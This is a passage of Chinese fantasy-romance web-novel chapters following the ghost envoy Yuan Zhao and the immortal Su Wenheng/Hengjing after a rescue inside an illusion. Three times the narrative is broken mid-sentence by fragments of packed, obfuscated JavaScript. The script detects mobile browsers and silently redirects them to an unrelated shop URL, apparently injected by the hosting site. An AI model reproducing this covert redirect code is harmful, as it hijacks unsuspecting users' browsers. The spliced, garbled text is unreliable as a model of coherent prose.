成仙多年,他本以为自己已经与凡人不同,不曾想,却还会因为一句喝语恐惧如此…… “仙官大人,若说介入因果,这无常不是更……” 玄长犹不甘心,然而话未说完,就被玄慈低声喝断:“莫说了!” 无常本来就为勾魂而来,勾魂为因,替她善后为果,换而言之,原昭本身就在因果之中,与他们自然不同。 “回去后,自行去寻司命仙君领罪。” 玄慈闭了闭眼,将腰弯得更低:“是。” 起身一收袖袍,和玄长一起凭空消失了。 事情以众人意想不到的方式草草了结,原昭回过神来,抬眸望向空中。 正巧,他也望了过来。 虽然这也是一个神仙,但好歹也帮过自己,原昭捏了捏喉咙,清清嗓子,想客客气气打个招呼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854749|191640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >然而她今日刚和旁人吵过一架,嘴皮子正是利索的时候。加上她本来憋足了一口气,想和对方死战到底,结果架没打完,那口气上不去也下不来,就这样梗在了喉咙口。 一张嘴,气就顺着喉舌,钻过唇齿冒了出来,变成中气十足的一声断喝: “怎么,见着自己人要被打了,舍得出来了?” “……” 长平公眼前一黑,彻底晕了过去。 白光中的苏问衡一顿,神情有些微妙。 他倒是也想,但他也才刚刚醒来。 尽管有原昭的术法护体,但幻境破裂的那一刻,他还是被余波震得昏迷过去。直到方才,识海深处传来一股熟悉的彻骨寒意,才将他猛地惊醒。 还未睁开眼,就听到虚空中传来少女伶牙俐齿的回击。 他昏昏沉沉地听了一阵,总算弄清楚前因后果,在听到少女那句“在高处待久了,以为自己是执掌因果的人,却忘了自己也在因果中”时,不由得哑然失笑。 然而笑过之后,心又沉了下去。 玄慈玄长两位仙人虽是从凡人飞升上来的,但常年依据天命行事,视天命为最高要义,时间久了,自然渐渐淡忘自己做凡人时的心境。 只是,这二位以往都只是迂腐了一些,谈不上有什么坏心思,怎么今日…… 眼看着外头就要打起来,他来不及细细思索,只能敛住心神,操纵着神魂飞离铜镜,但他神魂所剩无几,又得小心不被原昭等人注意到,一来二去,就耽误了不少功夫。 好在最终还是及时赶上,阻止了事态进一步恶化。 良久,白光中传出一声轻叹。 “抱歉,此番是仙界对众仙约束不足,让诸位见笑了。” 这位仙官,似乎与其他神仙不太一样。 原昭也从那一嗓子中回过神来,瞥一眼手上的木镯。镯子安分地呆在她腕上,不见黑烟冒出,想来何九安已经没有不甘了。她于是朝天上一扬下巴,很是大度道:“罢了,何九安看起来不生气了,此事就算了。” 长平公好不容易醒转,听了她这不知天高地厚的话,恨不得飞身上去敲她两个粟子。 难道何九安说一句不消气,她还能真让仙人赔礼道歉不成? 但是他没这个胆量,也没这个能力,只能在背后恨恨地剐她一眼,朝天上鞠了一躬,忙不迭道:“不知仙官大驾光临,小的有失远迎,还请仙官莫要见怪,不知仙官,这个,呃……” 他一时紧张,话说到一半就卡了壳。原昭抱着手站在一旁,似笑非笑地盯着他,丝毫没有帮腔的意思。倒是仙官宽宏仁厚,温声替他解了围: “长平公不必紧张,你我皆是为天命行事,并无高低之分。长平县地处偏远,久居深山,此前很长一段时间民不聊生,现下能有这般风调雨顺的气象,长平公功不可没。” 没想到还有仙人关注着自己,长平公激动起来,颤巍巍地俯下身,老泪纵横:“不敢当不敢当,这是小的应该做的。” 原昭也是有些讶然,此前那两个仙人都是一副眼高于顶的模样,没想到这衡镜仙官位阶在他们之上,却还能关注到这些细枝末节。 思及此,她不禁细细打量起天上的身影。 只见仙官身形颀长,衣袂飘飘,周身白光轻柔融融,宛若高塔檐角下孤灯的烛芯,刺破薄绢时散发出的浅浅光晕。 她忽然轻“嘶”了一声。 这个仙官怎么看起来,有些熟悉呢? 15. 险掉马 苏问衡见原昭忽然正了神色,一双圆眸上上下下地打量起他来,心中不由得一沉。 她起疑了。 在出来之前,他已经做好被她识破的打算。 他这一趟原本是奉行了师尊的命令秘密出行,不宜被太多人知晓。但既然已经在玄慈等人面前现身,也就没有继续隐瞒身份的必要了。若是被她识破,就大大方方告知她真实身份好了。 他是这般想的,也就这般做了。然而当她真的起疑心时,他忽然又有些后悔。 具体后悔些什么,他一时也说不清楚。 他这厢正在踌躇,原昭那头也难得犹豫起来。 她将魂力放入识海,对着一白茫茫迟疑: 要把苏问衡喊出来吗? 说实话,现在喊他一句也合情合理。从幻境出来以后,两人还没机会说上话。 识海那头一直很平静,波澜不惊的样子,她隐隐能感觉到他的存在,却不能完全确认他的状态。 两人并肩作战这么久,如今对方下落不明,她也该关心他一句才是。 可原昭心里知道,她并非真的这么想。 打记事起师傅就告诉她,鬼差出任务时常常独来独往,若遇到迫不得已非得几人同行的任务,务必要相信身旁的伙伴,不可轻易怀疑。 原昭虽然性格顽劣,但并非不明事理。此前在幻境中若无苏问衡的帮助,她怕是也得伤筋动骨一番才能把何九安带出来。这时候就怀疑他,未免太…… 然而瞥一眼手上的木镯,再想想方才那两位仙人迫切的模样,她心里又有些动摇。 何九安身上的圆满咒出现得太过蹊跷,幕后黑手至今不知所踪,收集姻缘的仙人行为古怪,作为无常,她必须弄清楚介入此事的都有谁,才能掌握所有线索,找出真相。 相比之下,她与苏问衡之间那点薄弱的战友情,似乎可以忽略不计。 原昭打定主意,将魂力放出去,对着虚空喊道:“苏问衡,你醒了吗?可是受伤了?” 脑海中乍然响起一道清脆喝声,苏问衡猝不及防,待回过神来,心下却是暗赞。 他答了,她就可以顺势把他叫出来;他若是不答,她就有理由闯过两人识海之间薄薄的屏障,看看那头到底是什么样。 他此时以衡镜的身份现身,魂力外放,识海中的景象自然与先前那只孱弱镜灵不同,原昭只要闯了进去,就能察觉其中异样。 不过…… 他有些好奇,原昭这人看上去满不在乎,实际却意外地遵守酆都术法运用的原则,轻易不肯越界,她真的会贸然闯进他人的识海吗? 但不管如何,她定是不愿意违背原则的。而明知他人要做违心事还放任不管,属实不是神仙应为之事。他斟酌着开口:“实不相瞒,本仙其实……” 话还未说出口,树下的少女却庄重朝他行了个礼。 他不得不停下话头:“怎么了?” 原昭举起右手,向上摊开,手心里静静躺着一面铜镜。 她望着他真诚道:“这位镜灵和我一同救下了那个凡人,现下却不知所踪,我想请仙官帮忙看看他的情况。” “……” 好吧,他错了。 以原昭的性格,当然不肯将自己立于理亏之地,走个流程然后让他来跳这个陷阱,好像更符合她的风格一些。 透过层层叠叠的树影,少女一双杏眸真挚而明亮,看着铜镜时隐隐有些担忧,仿佛好像真的担心他一般。 半响,白光中的人影忽地笑了,声音温和从容:“好,让本仙看看。” 说罢,他指尖垂下一缕白光,遥遥牵引着铜镜升到半空中。 原昭杏眸一亮,目不转睛地看着它。 她刚刚确实差点自己闯进去了,但转念一想,万一是她误会了他呢?那她确确实实不请自来,擅闯了别人的识海,到头来不是还得挨师傅骂? 干脆,就让衡镜去查苏问衡好啦,两人同为镜灵,若能得衡镜指点两句,对苏问衡也大有裨益。 如果他们真的是同一人…… 这个念头只在原昭脑海中转过一瞬,很快就被她抛到脑后。是又如何,不是又如何?两人不过萍水相逢,他帮她唤醒何九安,她也护住了他不受圆满咒侵害,两不相欠,大不了就当没结交过这个人。 总归自己也骗了他不是。 如此想着,那股从刚刚起就莫名缭绕在她心头的烦躁散去,她嘴角微翘,半仰着头,专心致志地看着半空中的铜镜。 苏问衡目光不着痕迹地扫过少女,见她的神色忽然又明亮起来,便知道她已经把自己劝好了。 而且多半是,已经不在乎他是谁了。 他手指轻点,澄澈的镜光从他指尖溢出,汩汩倾入到铜镜中。 神仙会有私心吗? 他望着瞬间明亮起来的铜镜,脑海里忽然想到这个问题。 那是他正式拜入师门时,师尊问他的第一个问题。 他那时是怎么回答来着?哦,他说的很肯定,言之凿凿:神仙不会有私心,也不应有私心。 师尊没说对也没说不对,只是告诉他,你自明镜中诞生,只要镜心明亮,无谓公私。 很长时间以来,他都以坦坦荡荡的心境作为行为的准则。救何九安是如此,与原昭共鸣时是如此,他不过是觉得她们皆是天命下的生灵,而他作为神仙,理应照拂一二。 现在,面前这面铜镜不过巴掌大小,如湖水般盈盈清澈,照出了他镜心中的一点暗处: 他想让“苏问衡”这个名字成为一个好名字。 这是他给自己起的凡名,原昭是第一个知道它的人,也会是唯一一个。他们日后不会相见,他希望她回想起来苏问衡时,至少会觉得,这是个不错的人。 他凝望着那面铜镜,眸色渐渐深沉下去,心念转动间,一缕神魂从他魂魄深处剥离开来,混入镜光中,悄无声息地汇入铜镜中。 镜光完全收束的瞬间,他的身躯忽然一晃,白光像被抽干似的,猛地淡薄了几分。 与此同时,铜镜中突然响起低咳声,一道清瘦身影跌出来,单膝跪倒在地上。 “苏问衡!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854750|191640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >原昭眼前一亮,连忙上前扶住他,趁机搭在他的腕上。 嗯,不错,魂魄虽然微薄,但仍能感受到盈盈活力,是真的魂魄无疑。 “你没事吧?”她关切道。 青年安抚地拍了拍她的手背,朝天上那道白影郑重地揖了一礼:“谢过衡镜仙官。” “无妨。”衡镜的声音平静:“你灵性有余,修为却不够扎实,回去以后应当勉励修行,不可松懈。” “是。”青年恭敬应道。 这两人的声音乍一听确实有几分相似,但仔细听来却又不同。如果说衡镜的声音如高天孤月,沉静疏离,那苏问衡的就像月亮的倒影,虽然同样清冷,但伸手就可以碰到。 她对自己这个比喻很是满意,又听衡镜沉声问道:“诸位可还有其他事情?” 她回过神来,大大方方地朝天上一抱拳,如山间野狐般微眯起眼:“谢过衡镜仙官。” 苏问衡看着她面上毫不掩饰的张扬笑容,微微颔首,拂袖就要离去,忽然想起什么,垂首嘱咐道:“你的魂魄现下仍十分虚弱,若是无事,还是早些回到铜镜中歇息为好。” 再不回去,那一缕残缺的神魂可能就要撑不住了。 说罢,他袖袍一卷,飘然消失在众人视线中。 原昭目送着衡镜离去,身旁青年像是再也压抑不住一般,连声低低咳嗽起来,她连忙转头催促道:“快回去吧。” 青年以手作拳抵在唇边,垂眉温声道:“好。” 他的身形散开,化作细芒汇入到铜镜中。镜面莹莹亮起,很快浮现出原昭最初见到它时的光泽。 她握着铜镜片刻,忽然在识海中唤道:“苏问衡?” “嗯?” 他的声音尤其遥远,仿佛站在空旷草原上。原昭将铜镜微微收紧,下定了决心道:“抱歉。” “……赵姑娘?” “方才……我对你有些怀疑。” 不管她有多么正当的理由,她确实怀疑了他。两人一同闯过火海,破过迷障,救下一个凡人,她却转头怀疑上了他,确实不是什么讲义气的行为。 她不后悔自己做过的事,也不否认自己的私心,但既然已经证明了苏问衡没有骗他,那她就应该为自己的行为道歉。 默了许久,识海那头传来青年的声音:“姑娘做的很好,是在下行为失当,才引起了姑娘怀疑。你……没有错。” 原昭笑起来,唇边梨涡浅浅,似乎比铜镜还要明亮几瞬。她没心没肺地调侃道:“你要是还算行为失当,那我算什么?算混世魔王?对了,我和你说个正事,方才我已经和司命殿两个神仙打过交道了,说实话,不是很好相处。你要是想学衡镜仙官,还是多多斟酌一下为好。要是混不下去了,就来酆都寻我,我收留你。” 她说得义薄云天,末了才想起自己好像还没告诉他真名,微微一顿,半响,开口道;“鬼差没有实体,无以凭身,唯一能作为身份依据的就是我们的姓名,所以我轻易不会告诉他人。但事到如今,我也不瞒你了,我不姓赵。 “我姓原,名昭。” 16. 不相见 然而话音未落,手上的铜镜却倏地暗淡了下去,仿佛从未亮起过一般。 原昭一愣,低下头,翻来覆去地研究片刻,终于确定,如今的它只是一面再平凡不过的铜镜。 也不知道刚才的话他听见没有。 她在原地攥着铜镜默了片刻,才转身钻进山洞里。 石榻旁,邵景紧紧抱着何九安的尸身不放。她默然看着他,指尖弹出一抹劲气,挟着铜镜掀动了何九安的衣摆,顺势滚落在邵景脚边。 雕塑般的男子肩头一颤,缓缓地低下头,目光落在铜镜上,微微一滞。 半响,他长叹一声,将铜镜拾起,收回怀中,再解开外袍盖在何九安身上,俯身抱起她。 他起身时踉跄了一下,险些摔倒。好在很快就站稳了身子,双臂向内一裹,抱紧了何九安,一步一步地走出山洞。 新生成的木镯似是感应到什么,不安地晃动起来,原昭拍了拍它,轻声道:“不能回头哦。” 既然已经踏上轮回之路,就不能再回看前尘往事。 她回头唤豚鱼精:“你跟我走一趟吧,去酆都做个笔录。” 豚鱼精“哦”了一声,老老实实地跟了上来。 “原、原大人,您这是,结束了?”长平公搓着手,赔笑道。 “嗯。”她漫不经心地点点头,素手一挥,凭空撕出一道乌黑裂口。 “好嘞好嘞,您慢走!”长平公迫不及待道。 “哦对了,”原昭一只脚跨进裂口里,忽然回过头来:“你那些酒……” 长平公悬着的心还没来得及放下,又提到了嗓子眼。 “回去都清理掉。” 长平公脸上立即浮现出肉痛的神色,便听她慢悠悠道:“虽说你生性有些惫懒,但从前也未曾因为饮酒误过事……你说对吧?” 长平公一愣,像是想起了什么,脸色立刻铁青了起来。 原昭说得没错,他素来胆小谨慎,不会轻易接受凡间供奉,但饷食节是个例外,那是长平县最重要的节日,百姓供奉的酒食往往寄托着他们对来年的期望,再加上他又爱喝酒,因此每年饷食节,他都会留下酒水自用。 如果要让对他动手,那这无疑就是最好的机会。 “是,我回去就清理。”他难得肃然,恭恭敬敬道。 原昭笑了笑,摆摆手,抓着豚鱼精的后脖颈,转身跨进了裂口中。 两侧黑雾翻涌起来,将两人的身影缓缓遮掩,随即消匿在半空中。山壁清冷,风声寒凉,杂草枯枝遍布,寂静悄然。 但不消两个月,春风将会褪去冬的痕迹,转而送入芳草,送来花香。走兽飞禽或许会在此驻留,衔来嫩枝绿叶,安做暖巢。 只是,那又与谁有干呢? ………………………… 西北罗伊山的某个山洞内,盘腿坐在玉榻上的白衣身影忽然一晃,缓缓睁开了眼。 “醒了?” 一个身着湖蓝锻衣的男子坐在玉榻下侧的蒲团上,单手支着颌,右手的折扇有一搭没一搭地敲在榻上。 他脚边聚了几只灰白鸽子,欢快地啄着地上散落的玉米粒。 “嗯。” 锻衣男子忽然炸了毛,翻身下榻,怒气冲冲地瞪着他。 “我好歹把你捞回来了,你就这个反应。” 苏问衡默了默,一本正经道:“谢谢。” “……” 他笑起来,剑眉舒展:“这次实在多亏了你了,无砚。” “不客气。” 被称作无砚的男子毫不客气地回道,默了半响,又道:“这次怎么回事?一个生魂的姻缘罢了,怎么会出动两个仙人?难道是和邵景有关?” 苏问衡摇头道:“命书上确实有说,邵景天生将命,姻缘比寻常人珍贵和难得。但即便如此,他二人缘分浅薄,能够被收回的姻缘也不多,不至于到出动两个仙人的程度。” 除非…… 苏问衡垂眸沉吟,除非是姻缘簿出了问题,导致他们不得不全力收回所有姻缘,一点一滴也不能放过。 世人皆知姻缘是由仙界派发下来,却不知晓还有姻缘账的存在。凡人相合,司命殿下发姻缘,便在账上记一道“出”;凡人分离,司命殿回收姻缘,便记一道“入”。 回收过程中总有遗漏,没被收回的姻缘会溢散到天地中,随着机缘再入轮回,因此只要相差不大,司命殿一般不会追究。 但实际上,司命殿有秘法能够尽可能地回收更多的姻缘,只是这方法过于阴损,一般情况下不会使用。 例如,相比起一场好好的告别,让有情人带着遗憾离开,往往能催生出更强烈的情感,再配合上相应的术法,就能使姻缘集中地爆发出来。 “哎算了算了,”无砚不耐地一挥手,“司命殿的事情最是琐碎和麻烦,要我说,当初把姻缘相关事项全部交由月老殿处理,也不至于有这么多麻烦。” “话不能这么说,”苏问衡声音平稳,“姻缘毕竟与天命息息相关,由司命殿处理本就妥当。再者,我们与司命殿本就是一表两枝,彼此协作倒也正常。” 苏问衡师从月华仙君,隶属于月老殿。无砚此前就常常笑他,左手拈红绳,右手引风月,却偏偏长了一张淡然脸,无论发生什么都波澜不惊。 就比如现在,明明是在生死关头上走了一圈,却还一副闲适自在的样子,低头掸着袖上的灰尘。 旁人不知晓,他可是一清二楚。衡镜此行是奉了月华仙君的密令下凡,却不知受了谁人埋伏身受重伤,凶手至今不知所踪。途中又偶遇何九安天命异常,强行进入幻境,折上一捆灵枢天丝还不够,还要用所剩不多的神魂去维护那摇摇欲坠的幻境。 若非他出手及时,恐怕仙界再无衡镜仙官这号人物了。 “月华仙君的密令……”无砚欲言又止,“罢了,这并非我能打听的。只是我得提醒你,你做了多余的事,若司命仙君兴师问罪,如何交代?” “分内之事,无需交代。”苏问衡不慌不忙道。 “……” 好吧,他就不应该问这个问题。 苏问衡倒是笑起来,徐徐道:“既然何九安已经遇见赵昭姑娘,那就是她的命。而作为仙人,我们要做的,就是在维持他们因果报应不受破坏时,保证天命的运转。” “赵昭姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854751|191640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”无砚忽然想起什么,漂亮的桃花眼微眯:“那个无常?这应当不是她的真名吧?” “是。”苏问衡颔首。 无砚面色古怪:“那她方才要说,你为何不听完再走?” 苏问衡不料他会问这个问题,微微一滞:“我为何要听?” “何九安此事不同寻常,她又介入得如此之深,你不知她的真名,若后续要调查她,如何入手?” “不会的,”苏问衡摇头,笃定道,“她对何九安尽心尽力,若要陷害她,不必如此大费周章。而且……” 他顿了顿,接着道:“我也欺瞒了她,又如何能在隐瞒了身份的情况下,得知她的姓名呢?” “你还会骗人?”无砚像是第一天认识他似的:“你骗她什么了?” 苏问衡轻咳一声:“我……没告知她身份,只说是一只镜灵。” “……倒也没错。” 苏问衡淡笑,心中却想,恐怕不止如此。 苏问衡是他给自己起的凡名,衡者,规则也,而他身为衡镜仙官,却给自己起名“问衡”。如此僭越的事情,他只会做这么一次,即便是面对挚友,他也再不会提起。 他们日后不会再相见,因此,无论如何,他也希望“苏问衡”能给她留个好印象。 只是这份心思,怕是不足以与外人道也。 …………………… “阿嚏!” 酆都城墙下,原昭莫名其妙打了个喷嚏。 一旁毛身赤足的青面鬼惊奇地看了她一眼,开口道:“原大人到凡间走了一趟,怕是染上凡人的风寒不成?” 原昭皱了皱鼻尖,笑笑道:“没有的事。” 她褪下腕上的手镯递给小鬼:“这是这次勾回的魂魄,去将它们登记上,还有这个,”她指了指收着何九安的木镯:“这个情况比较特殊,你们去喊鬼医来检查一下她的魂魄有没有受损。” “是。”青面鬼接过木镯,好奇地看了一眼她身后的豚鱼精,友好地咧开嘴,露出满口的森森白牙。 豚鱼精顿时抖如筛糠:“原、原大人,我不会被吃掉吧?” 原昭转过头来,冲它粲然一笑:“放心,最多就是把你魂魄吃了而已。” “……”还不如整个都吃掉呢! “跟我来。” 原昭意简言骇地丢下一句,带着豚鱼精七拐八拐地走上一条小道。道路两侧隔几步路就伫立着一只盘着的石蛇,嘴中衔着夜明珠,轻柔的珠光洒落,莹莹照亮了脚下的路。 若是能不隔两个就灭一个就更好了。 这八成又是阎王老头从哪个犄角旮旯立扒拉出来的,原昭叹了口气,使劲跺了跺脚,那熄灭的夜明珠才不情不愿地亮了起来。 就这样走了一段,原昭忽然开口道,“待会到了阎王殿主面前,有人问什么,你就答什么,照实回答即可,不要有任何隐瞒,知道了吗?” 豚鱼精下意识地抬头看了她一眼,只见忽明忽灭的白光中,她的神情淡淡,说出来的话却让人不寒而栗:“若不然,就不只是被吃掉魂魄这么简单了。” 豚鱼精浑身一凛,老老实实道:“是。”